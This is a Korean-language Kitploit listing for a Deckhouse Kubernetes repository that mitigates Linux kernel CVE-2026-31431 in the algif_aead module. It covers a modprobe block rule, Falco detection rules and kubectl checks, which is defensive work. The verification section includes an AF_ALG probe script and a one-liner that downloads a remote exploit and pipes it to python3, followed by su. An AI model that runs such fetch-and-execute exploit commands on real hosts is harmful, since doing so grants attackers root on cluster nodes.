Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
d8-copy-fail-mitigation — Kubernetes 네이티브 CVE-2026-31431 완화: 자동 커널 모듈 차단, 런타임 Falco 탐지 규칙, 및 Deckhouse 클러스터를 위한 bashible 기반 노드 구성. | Kitploit
도구/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
Container SecurityVulnerability AnalysisConfiguration AuditingCloud SecurityIntrusion DetectionIncident Response
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

Kubernetes 네이티브 CVE-2026-31431 완화: 자동 커널 모듈 차단, 런타임 Falco 탐지 규칙, 및 Deckhouse 클러스터를 위한 bashible 기반 노드 구성.

저장소 보기
3개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431 완화 조치 — Deckhouse Kubernetes Platform

언어: English | Русский

취약점 개요

CVE-2026-31431은 Linux 커널의 algif_aead 모듈에 존재하는 취약점입니다.
이 모듈은 AF_ALG 소켓 패밀리를 통해 커널 암호화 API를 사용자 공간에 노출합니다.
AEAD(Authenticated Encryption with Associated Data) 인터페이스의 결함으로 인해 로컬의 권한 없는 사용자가 조작된 scatter-gather 리스트를 제출하여 커널에서 메모리 손상을 유발할 수 있으며, 이는 로컬 권한 상승 또는 서비스 거부로 이어집니다.

취약한 표면은 socket(AF_ALG, SOCK_SEQPACKET, 0)을 호출하고 이를 aead 타입 알고리즘에 바인딩할 수 있는 모든 프로세스(권한 없는 컨테이너 포함)에서 접근 가능합니다. 기본 seccomp 프로필을 제거하지 않거나 socket 시스템 콜 패밀리를 제한하지 않는 컨테이너 런타임은 클러스터 노드를 공격에 노출시킵니다.

상위 커널 패치가 OS 패키지 업데이트를 통해 배포될 때까지 권장되는 완화 조치는 모든 클러스터 노드에서 algif_aead 커널 모듈을 비활성화하고 런타임에 익스플로잇 시도를 탐지하는 것입니다.

이 저장소의 파일

이 저장소는 Deckhouse 관리형 클러스터에서 CVE-2026-31431을 완화하는 데 필요한 모든 것을 포함합니다:

ngc-cve-2026-31431.yaml — 노드 측 완화 조치

NodeGroupConfiguration은 bashible을 통해 모든 노드에서 실행되며 네 단계를 수행합니다:

  1. 프로브 — AF_ALG 소켓을 열고 aead/gcm(aes)에 바인딩하여 취약한 인터페이스가 노드에서 접근 가능한지 확인합니다.
  2. 차단 — install 지시어가 포함된 /etc/modprobe.d/disable-algif.conf를 작성하여 algif_aead(및 상위 모듈 af_alg)가 수동으로 또는 종속성으로 다시 로드되지 않도록 합니다.
  3. 언로드 — 현재 로드된 모듈이 있으면 rmmod algif_aead를 실행합니다. 모듈이 커널에 빌트인된 경우 건너뜁니다(이 경우 블록리스트 + 런타임 탐지만 적용).
  4. 확인 — 프로브를 다시 실행하고 AEAD 인터페이스가 여전히 접근 가능하면 bashible 단계를 실패 처리(0이 아닌 종료 코드)하여 bashible 상태가 노드가 완화되지 않았음을 표시하도록 합니다.

멱등적: 이미 완화된 노드에서 구성을 다시 실행해도 아무 일도 일어나지 않습니다.

far-cve-2026-31431.yaml — 런타임 탐지

FalcoAuditRules 리소스는 프로세스가 AF_ALG 소켓을 열고 aead 알고리즘에 바인딩할 때(이 공격에 특유한 시스템 콜 패턴) Critical 이벤트를 트리거하는 사용자 정의 Falco 규칙을 추가합니다. 또한 프로세스가 modprobe/insmod를 통해 algif_aead 모듈을 로드하려고 시도할 때 Warning 이벤트를 발생시킵니다. 완화된 노드에서는 이 시도가 절대 성공해서는 안 되며, 익스플로잇 시도 또는 운영자 잘못된 구성의 강력한 신호입니다.

에디션 참고: FalcoAuditRules는 runtime-audit-engine 모듈에 의해 조정되며, 이 모듈은 Deckhouse Enterprise Edition(EE) 및 **Certified Security Edition(CSE)**에서만 제공됩니다. Community Edition에서는 리소스가 처리되지 않습니다. 이 저장소의 NodeGroupConfiguration은 여전히 적용되며 기본 완화 조치입니다.

적용

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE 전용:
kubectl apply -f far-cve-2026-31431.yaml

수렴 대기

각 NodeGroup의 상태를 확인하여 구성이 모든 노드에 적용될 때까지 기다립니다. Bashible은 단계별 성공을 NodeGroup에 보고하고, Deckhouse는 이를 두 필드로 집계하여 조회할 수 있습니다:

  • .status.upToDate — 최신 구성으로 마지막 bashible 실행이 성공한 노드 수. 모든 그룹에서 upToDate == nodes일 때 수렴됩니다.
  • .status.conditionSummary.ready — 그룹이 정상이면 "True", 노드의 bashible 단계가 실패하면(이 완화 조치의 확인 단계에서 수정을 적용할 수 없는 노드에서 발생하는 경우) "False"로 전환되며, .status.conditionSummary.statusMessage에 사람이 읽을 수 있는 이유가 표시됩니다.

모든 그룹에 대한 일회성 조회:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

모든 그룹이 수렴된 경우에만 종료 코드 0을 반환하는 스크립트 가능한 검사:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"

NodeGroup이 conditionSummary.ready == "False"로 멈춘 경우 .status.conditionSummary.statusMessage를 읽으십시오. 여기에는 실패한 bashible 단계(이 완화 조치의 확인 단계 포함)가 표시됩니다.

롤백

공식 수정이 포함된 상위 커널 패키지가 모든 노드에 설치되면 두 리소스를 제거하십시오:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

NodeGroupConfiguration을 제거해도 /etc/modprobe.d/disable-algif.conf는 자동으로 삭제되지 않습니다. 모듈을 다시 로드 가능하게 하려면 수동으로 정리하거나, 클러스터에서 커널 암호화 API를 사용하는 워크로드가 없으면 블록리스트를 그대로 두십시오.

수동 확인

클러스터 전체:

root@kitploit:~
kubectl get nodegroups

UPTODATE는 NODES와 같아야 하며, 모든 그룹의 상태 메시지 열이 비어 있어야 합니다.

노드에서 (SSH 또는 kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

예상 결과:

  • cat은 install / blacklist 네 줄을 표시합니다.
  • lsmod는 비어 있습니다.
  • modprobe -n -v는 install /bin/false를 출력합니다.
  • modprobe는 exit=1을 반환합니다.

Falco 규칙 트리거 확인

이 하위 섹션을 사용하여 CVE-2026-31431에 대한 사용자 정의 FalcoAuditRules가 각 PoC 실행에서 실제로 트리거되는지 확인하십시오.

두 시나리오 모두에 대한 일반 사전 확인:

  1. 모든 노드에서 runtime-audit-engine이 정상인지 확인:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

예상: DESIRED == READY == AVAILABLE.

  1. 규칙 적용/업데이트:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. 로그 스트리밍 시작 (선택 사항, 별도 터미널):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

컨테이너에서 확인

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# 중요: -i를 사용하여 Python이 stdin 스크립트를 받도록 함
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

정리:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

클러스터 호스트에서 확인

보안 경고: 실행하기 전에 다운로드한 모든 스크립트를 항상 검토하십시오. 프로덕션 환경에서 원격 스크립트를 맹목적으로 실행하지 마십시오.

권장 (먼저 검토 후 실행):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

동등한 원라이너 (검토/승인 후에만):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

탐지 확인:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
도구 다운로드
파일목적
ngc-cve-2026-31431.yaml취약한 인터페이스를 프로빙하고, algif_aead 로딩을 차단하며, 현재 로드된 모듈을 언로드하고, 수정이 효과적인지 확인하는 NodeGroupConfiguration입니다. 모든 번들과 노드 그룹에 적용됩니다.
far-cve-2026-31431.yamlAF_ALG 소켓이 AEAD 알고리즘에 바인딩되는 런타임 익스플로잇 시도를 탐지하는 FalcoAuditRules입니다. Deckhouse Enterprise Edition(EE) 및 Certified Security Edition(CSE)에서만 사용 가능합니다. runtime-audit-engine 모듈이 해당 에디션에 포함되어 있기 때문입니다.